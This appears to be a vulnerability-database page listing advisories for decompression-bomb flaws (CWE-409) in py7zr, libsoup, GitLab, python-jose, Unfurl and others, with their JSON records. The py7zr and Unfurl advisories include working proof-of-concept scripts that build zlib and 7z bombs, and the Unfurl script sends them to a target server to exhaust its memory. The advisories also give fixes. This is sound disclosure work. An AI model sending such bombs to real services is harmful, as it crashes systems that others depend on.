Common Weakness Enumeration

CWE-409

Allowed

Improper Handling of Highly Compressed Data (Data Amplification)

Abstraction: Base · Status: Incomplete

The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.

148 vulnerabilities reference this CWE, most recent first.

GHSA-G5C7-6MFQ-QVC9

Vulnerability from github – Published: 2025-05-02 03:30 – Updated: 2025-05-02 03:30
VLAI
Details

IBM Concert Software 1.0.0 through 1.0.5 could allow an authenticated user to cause a denial of service due to the expansion of archive files without controlling resource consumption.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-55909"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-02T01:15:52Z",
    "severity": "MODERATE"
  },
  "details": "IBM Concert Software 1.0.0 through 1.0.5 could allow an authenticated user to cause a denial of service due to the expansion of archive files without controlling resource consumption.",
  "id": "GHSA-g5c7-6mfq-qvc9",
  "modified": "2025-05-02T03:30:34Z",
  "published": "2025-05-02T03:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55909"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7232169"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GJRG-MPP7-G774

Vulnerability from github – Published: 2026-06-19 21:16 – Updated: 2026-06-19 21:16
VLAI
Summary
py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size
Details

py7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.

Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).

Proof of concept:

import py7zr, tempfile, os

# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
    import io
    z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')

print(f'archive size: {os.path.getsize(bomb_path):,} bytes')

# extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
    z.extractall(path=tempfile.mkdtemp())

print('extracted 100 MB from ~15 KB archive')

Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.

Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:

MAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable

total = 0
for chunk in decompressed_chunks:
    total += len(chunk)
    if total > MAX_EXTRACT_SIZE:
        raise py7zr.exceptions.DecompressionBombError(
            f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
        )
    outfile.write(chunk)

Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "py7zr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55195"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:16:29Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "py7zr\u0027s `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes.\n\nMeasured: 15.6 KB archive \u2192 100 MB output (6,556:1 ratio).\n\n**Proof of concept:**\n\n```python\nimport py7zr, tempfile, os\n\n# create bomb: compress 100MB of zeros into ~15KB\nbomb_path = tempfile.mktemp(suffix=\u0027.7z\u0027)\nwith py7zr.SevenZipFile(bomb_path, \u0027w\u0027) as z:\n    import io\n    z.writef(io.BytesIO(b\u0027\\x00\u0027 * 100 * 1024 * 1024), \u0027bomb.bin\u0027)\n\nprint(f\u0027archive size: {os.path.getsize(bomb_path):,} bytes\u0027)\n\n# extract \u2014 no size check\nwith py7zr.SevenZipFile(bomb_path, \u0027r\u0027) as z:\n    z.extractall(path=tempfile.mkdtemp())\n\nprint(\u0027extracted 100 MB from ~15 KB archive\u0027)\n```\n\n**Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python\u0027s `zipfile` `max_size` parameter.\n\n**Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded:\n\n```python\nMAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable\n\ntotal = 0\nfor chunk in decompressed_chunks:\n    total += len(chunk)\n    if total \u003e MAX_EXTRACT_SIZE:\n        raise py7zr.exceptions.DecompressionBombError(\n            f\u0027Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes\u0027\n        )\n    outfile.write(chunk)\n```\n\nTested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.",
  "id": "GHSA-gjrg-mpp7-g774",
  "modified": "2026-06-19T21:16:29Z",
  "published": "2026-06-19T21:16:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/security/advisories/GHSA-gjrg-mpp7-g774"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/miurahr/py7zr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size"
}

GHSA-GV2G-7H3V-Q5F3

Vulnerability from github – Published: 2026-07-14 21:32 – Updated: 2026-07-14 21:32
VLAI
Details

A flaw was found in libsoup's WebSocket implementation when using the permessage-deflate extension. The extension's decompression loop (inflate()) processes data in chunks without enforcing an upper boundary limit on the output buffer size. While libsoup limits the incoming compressed frame size via max_incoming_payload_size, it fails to track or limit memory allocation during decompression. A separate check for decompressed size (max_total_message_size) exists but executes only after inflation is complete, and it is entirely disabled by default for client connections. A remote, unauthenticated attacker can exploit this by sending a small, highly compressed payload (a decompression bomb), causing unbounded memory allocation that triggers an Out-of-Memory (OOM) crash and a Denial of Service (DoS).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-15709"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T20:16:57Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in libsoup\u0027s WebSocket implementation when using the permessage-deflate extension. The extension\u0027s decompression loop (inflate()) processes data in chunks without enforcing an upper boundary limit on the output buffer size. While libsoup limits the incoming compressed frame size via max_incoming_payload_size, it fails to track or limit memory allocation during decompression. A separate check for decompressed size (max_total_message_size) exists but executes only after inflation is complete, and it is entirely disabled by default for client connections. A remote, unauthenticated attacker can exploit this by sending a small, highly compressed payload (a decompression bomb), causing unbounded memory allocation that triggers an Out-of-Memory (OOM) crash and a Denial of Service (DoS).",
  "id": "GHSA-gv2g-7h3v-q5f3",
  "modified": "2026-07-14T21:32:16Z",
  "published": "2026-07-14T21:32:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15709"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-15709"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2499922"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.gnome.org/GNOME/libsoup/-/issues/511"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H2FC-M4GM-6MG8

Vulnerability from github – Published: 2024-05-23 12:31 – Updated: 2024-05-23 12:31
VLAI
Details

A denial of service (DoS) condition was discovered in GitLab CE/EE affecting all versions from 13.2.4 before 16.10.6, 16.11 before 16.11.3, and 17.0 before 17.0.1. By leveraging this vulnerability an attacker could create a DoS condition by sending crafted API calls.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-1947"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-23T11:15:23Z",
    "severity": "MODERATE"
  },
  "details": "A denial of service (DoS) condition was discovered in GitLab CE/EE affecting all versions from 13.2.4 before 16.10.6, 16.11 before 16.11.3, and 17.0 before 17.0.1. By leveraging this vulnerability an attacker could create a DoS condition by sending crafted API calls.",
  "id": "GHSA-h2fc-m4gm-6mg8",
  "modified": "2024-05-23T12:31:02Z",
  "published": "2024-05-23T12:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1947"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2380264"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/443559"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H467-WGWR-Q697

Vulnerability from github – Published: 2026-07-14 15:32 – Updated: 2026-07-14 15:32
VLAI
Details

An attacker with access to an HX 10.0.0  and previous versions, may send specially-crafted data to the HX console. The malicious detection would then trigger decompression of a large file that consumes an excessive amount of system resources thus causing a Denial of Service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-12588"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T13:18:14Z",
    "severity": "MODERATE"
  },
  "details": "An attacker with access to an HX 10.0.0\u00a0 and previous versions, may send specially-crafted data to the HX console. The malicious detection would then trigger decompression of a large file that consumes an excessive amount of system resources thus causing a Denial of Service.",
  "id": "GHSA-h467-wgwr-q697",
  "modified": "2026-07-14T15:32:15Z",
  "published": "2026-07-14T15:32:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12588"
    },
    {
      "type": "WEB",
      "url": "https://support.trellix.com/s/article/000015595"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-H4PW-WXH7-4VJJ

Vulnerability from github – Published: 2025-12-17 18:31 – Updated: 2026-06-08 19:13
VLAI
Summary
Duplicate Advisory: python-jose denial of service via compressed JWE content
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-cjwg-qfpm-7377. This link is maintained to preserve external references.

Original Description

In python-jose 3.3.0 (specifically jwe.decrypt), a vulnerability allows an attacker to cause a Denial-of-Service (DoS) condition by crafting a malicious JSON Web Encryption (JWE) token with an exceptionally high compression ratio. When this token is processed by the server, it results in significant memory allocation and processing time during decompression.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "python-jose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-29370"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-18T15:51:07Z",
    "nvd_published_at": "2025-12-17T16:16:04Z",
    "severity": "MODERATE"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-cjwg-qfpm-7377. This link is maintained to preserve external references.\n\n### Original Description\n\nIn python-jose 3.3.0 (specifically jwe.decrypt), a vulnerability allows an attacker to cause a Denial-of-Service (DoS) condition by crafting a malicious JSON Web Encryption (JWE) token with an exceptionally high compression ratio. When this token is processed by the server, it results in significant memory allocation and processing time during decompression.",
  "id": "GHSA-h4pw-wxh7-4vjj",
  "modified": "2026-06-08T19:13:21Z",
  "published": "2025-12-17T18:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29370"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mpdavis/python-jose/issues/344"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mpdavis/python-jose/commit/483529ee93a3ab510ab579d4d4cc644dba926ade"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mpdavis/python-jose/releases/tag/3.4.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/python-jose/PYSEC-2025-185.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: python-jose denial of service via compressed JWE content",
  "withdrawn": "2025-12-18T15:51:07Z"
}

GHSA-H5QV-QJV4-PC5M

Vulnerability from github – Published: 2026-01-29 15:31 – Updated: 2026-04-10 17:18
VLAI
Summary
Unfurl's unbounded zlib decompression allows decompression bomb DoS
Details

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

  • unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
  • Inputs are accepted from URL components that match base64 patterns.
  • Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

  1. Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
  2. The script creates a base64-encoded zlib payload embedded in a URL.
  3. Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
  4. The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "dfir-unfurl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "20260405"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40036"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-29T15:31:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe compressed data parser uses `zlib.decompress()` without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.\n\n### Details\n- `unfurl/parsers/parse_compressed.py` calls `zlib.decompress(decoded)` with no size limit.\n- Inputs are accepted from URL components that match base64 patterns.\n- Highly compressible payloads can expand orders of magnitude larger than their compressed size.\n\n### PoC\n1. Generate a payload with `security_poc/poc_decompression_bomb.py --generate-only`.\n2. The script creates a base64-encoded zlib payload embedded in a URL.\n3. Submitting the URL to `/json/visjs` can cause the server to allocate large amounts of memory.\n4. The script includes a `--test` mode but warns it can crash the service.\n\n### PoC Script\n```python\n#!/usr/bin/env python3\n\"\"\"\nUnfurl Decompression Bomb Proof of Concept\n==========================================\n\nThis PoC demonstrates a Denial of Service vulnerability in Unfurl\u0027s\ncompressed data parsing. The zlib.decompress() call has no size limits,\nallowing an attacker to submit small payloads that expand to gigabytes.\n\nVulnerability Location:\n- parse_compressed.py:81-82:\n    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter\n\nAttack Impact:\n- Memory exhaustion\n- Service crash\n- Resource consumption (cloud cost attacks)\n\nUsage:\n    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]\n\"\"\"\n\nimport argparse\nimport base64\nimport os\nimport zlib\nimport requests\nimport sys\nimport time\n\n\ndef create_compression_bomb(target_size_mb: int = 100) -\u003e bytes:\n    \"\"\"\n    Create a compression bomb - small compressed data that expands to target_size_mb.\n\n    Compression ratio for zeros can be ~1000:1 or better.\n    A 1KB compressed payload can expand to ~1MB.\n    A 100KB payload can expand to ~100MB.\n    \"\"\"\n    # Create highly compressible data (all zeros)\n    target_bytes = target_size_mb * 1024 * 1024\n    uncompressed = b\u0027\\x00\u0027 * target_bytes\n\n    # Compress with maximum compression\n    compressed = zlib.compress(uncompressed, 9)\n\n    compression_ratio = len(uncompressed) / len(compressed)\n\n    print(f\"[*] Created compression bomb:\")\n    print(f\"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)\")\n    print(f\"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)\")\n    print(f\"    Compression ratio: {compression_ratio:.0f}:1\")\n\n    return compressed\n\n\ndef create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -\u003e bytes:\n    \"\"\"\n    Create a nested compression bomb (zip bomb style).\n    Each level multiplies the final size.\n\n    Warning: This can create VERY large expansions.\n    3 levels with 10MB base = 10^3 = 1GB\n    4 levels with 10MB base = 10^4 = 10GB\n    \"\"\"\n    print(f\"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base\")\n\n    # Start with base payload\n    data = b\u0027\\x00\u0027 * (base_size_mb * 1024 * 1024)\n\n    for level in range(levels):\n        data = zlib.compress(data, 9)\n        print(f\"    Level {level + 1}: {len(data):,} bytes\")\n\n    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate\n    print(f\"[*] Theoretical expanded size: ~{theoretical_size} MB\")\n\n    return data\n\n\ndef create_recursive_quine_bomb() -\u003e bytes:\n    \"\"\"\n    Create a recursive decompression scenario.\n    When decompressed, the output is valid zlib that can be decompressed again.\n\n    This exploits any recursive decompression logic.\n    \"\"\"\n    # This is a simplified version - real quine bombs are more complex\n    # The concept: output when decompressed is also valid compressed data\n\n    # Create a pattern that when decompressed resembles compressed data\n    # This is primarily theoretical for this vulnerability\n    base = b\u0027x\\x9c\u0027 + (b\u0027\\x00\u0027 * 1000)  # Fake zlib header + zeros\n    return zlib.compress(base * 1000, 9)\n\n\ndef encode_for_unfurl(compressed: bytes) -\u003e str:\n    \"\"\"\n    Encode compressed data as base64 for URL inclusion.\n    Unfurl\u0027s parse_compressed.py will:\n    1. Detect base64 pattern\n    2. Decode base64\n    3. Attempt zlib.decompress() without size limit\n    \"\"\"\n    return base64.b64encode(compressed).decode(\u0027ascii\u0027)\n\n\ndef create_malicious_url(payload: str) -\u003e str:\n    \"\"\"\n    Create a URL containing the bomb payload.\n    Multiple injection points are possible.\n    \"\"\"\n    # As a query parameter value\n    return f\"https://example.com/page?data={payload}\"\n\n\ndef test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -\u003e dict:\n    \"\"\"\n    Submit bomb to Unfurl and monitor for DoS indicators.\n    \"\"\"\n    api_url = f\"{target_url}/json/visjs\"\n    params = {\u0027url\u0027: payload_url}\n\n    result = {\n        \u0027submitted\u0027: True,\n        \u0027timeout\u0027: False,\n        \u0027error\u0027: None,\n        \u0027response_time\u0027: 0,\n        \u0027memory_exhaustion_likely\u0027: False\n    }\n\n    try:\n        start = time.time()\n        response = requests.get(api_url, params=params, timeout=timeout)\n        result[\u0027response_time\u0027] = time.time() - start\n        result[\u0027status_code\u0027] = response.status_code\n\n        # Check for error responses indicating resource issues\n        if response.status_code == 500:\n            result[\u0027error\u0027] = \u0027Server error - possible memory exhaustion\u0027\n            result[\u0027memory_exhaustion_likely\u0027] = True\n        elif response.status_code == 503:\n            result[\u0027error\u0027] = \u0027Service unavailable - DoS successful\u0027\n            result[\u0027memory_exhaustion_likely\u0027] = True\n\n    except requests.exceptions.Timeout:\n        result[\u0027timeout\u0027] = True\n        result[\u0027error\u0027] = f\u0027Request timed out after {timeout}s - possible DoS\u0027\n        result[\u0027memory_exhaustion_likely\u0027] = True\n    except requests.exceptions.ConnectionError as e:\n        result[\u0027error\u0027] = f\u0027Connection error: {e} - server may have crashed\u0027\n        result[\u0027memory_exhaustion_likely\u0027] = True\n    except Exception as e:\n        result[\u0027error\u0027] = str(e)\n\n    return result\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\u0027Unfurl Decompression Bomb PoC\u0027)\n    parser.add_argument(\u0027--target\u0027, default=\u0027http://localhost:5000\u0027,\n                        help=\u0027Target Unfurl 